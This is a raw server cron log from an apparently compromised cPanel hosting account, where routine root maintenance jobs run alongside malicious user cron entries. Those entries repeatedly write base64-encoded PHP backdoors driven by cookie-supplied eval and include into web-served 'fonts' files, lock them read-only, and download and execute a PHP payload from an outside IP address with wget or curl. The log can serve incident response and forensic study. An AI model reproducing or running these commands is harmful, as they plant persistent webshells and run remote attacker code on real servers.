Sep 21 12:19:01 ip-184-168-122-23 CROND[31770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:19:01 ip-184-168-122-23 CROND[31769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:19:01 ip-184-168-122-23 CROND[31775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:20:01 ip-184-168-122-23 CROND[32083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:20:01 ip-184-168-122-23 CROND[32089]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 12:20:01 ip-184-168-122-23 CROND[32085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:20:01 ip-184-168-122-23 CROND[32090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:20:01 ip-184-168-122-23 CROND[32091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:20:01 ip-184-168-122-23 CROND[32086]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 12:20:01 ip-184-168-122-23 CROND[32087]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:20:01 ip-184-168-122-23 CROND[32088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:20:01 ip-184-168-122-23 CROND[32092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:21:01 ip-184-168-122-23 CROND[32262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:21:01 ip-184-168-122-23 CROND[32265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:21:01 ip-184-168-122-23 CROND[32264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:21:01 ip-184-168-122-23 CROND[32263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:22:01 ip-184-168-122-23 CROND[32601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:22:01 ip-184-168-122-23 CROND[32603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:22:01 ip-184-168-122-23 CROND[32604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:22:01 ip-184-168-122-23 CROND[32606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:22:01 ip-184-168-122-23 CROND[32605]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:23:01 ip-184-168-122-23 CROND[335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:23:01 ip-184-168-122-23 CROND[333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:23:01 ip-184-168-122-23 CROND[336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:23:01 ip-184-168-122-23 CROND[334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:24:01 ip-184-168-122-23 CROND[573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:24:01 ip-184-168-122-23 CROND[574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:24:01 ip-184-168-122-23 CROND[577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:24:01 ip-184-168-122-23 CROND[578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:24:01 ip-184-168-122-23 CROND[579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:25:01 ip-184-168-122-23 CROND[814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:25:01 ip-184-168-122-23 CROND[815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:25:01 ip-184-168-122-23 CROND[819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:25:01 ip-184-168-122-23 CROND[818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:25:01 ip-184-168-122-23 CROND[816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:25:01 ip-184-168-122-23 CROND[817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:25:02 ip-184-168-122-23 CROND[823]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 12:26:01 ip-184-168-122-23 CROND[997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:26:01 ip-184-168-122-23 CROND[1001]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:26:01 ip-184-168-122-23 CROND[999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:26:01 ip-184-168-122-23 CROND[1000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:26:01 ip-184-168-122-23 CROND[1002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:27:01 ip-184-168-122-23 CROND[1344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:27:01 ip-184-168-122-23 CROND[1345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:27:01 ip-184-168-122-23 CROND[1347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:27:01 ip-184-168-122-23 CROND[1346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:28:01 ip-184-168-122-23 CROND[1643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:28:01 ip-184-168-122-23 CROND[1645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:28:01 ip-184-168-122-23 CROND[1647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:28:01 ip-184-168-122-23 CROND[1648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:28:01 ip-184-168-122-23 CROND[1646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:29:01 ip-184-168-122-23 CROND[1854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:29:01 ip-184-168-122-23 CROND[1856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:29:01 ip-184-168-122-23 CROND[1858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:29:01 ip-184-168-122-23 CROND[1857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:30:01 ip-184-168-122-23 CROND[2178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:30:02 ip-184-168-122-23 CROND[2177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:30:02 ip-184-168-122-23 CROND[2179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:30:02 ip-184-168-122-23 CROND[2180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:30:02 ip-184-168-122-23 CROND[2182]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 12:30:02 ip-184-168-122-23 CROND[2181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:30:02 ip-184-168-122-23 CROND[2183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:30:02 ip-184-168-122-23 CROND[2184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:30:02 ip-184-168-122-23 CROND[2186]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 21 12:31:01 ip-184-168-122-23 CROND[2394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:31:01 ip-184-168-122-23 CROND[2397]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 12:31:01 ip-184-168-122-23 CROND[2398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
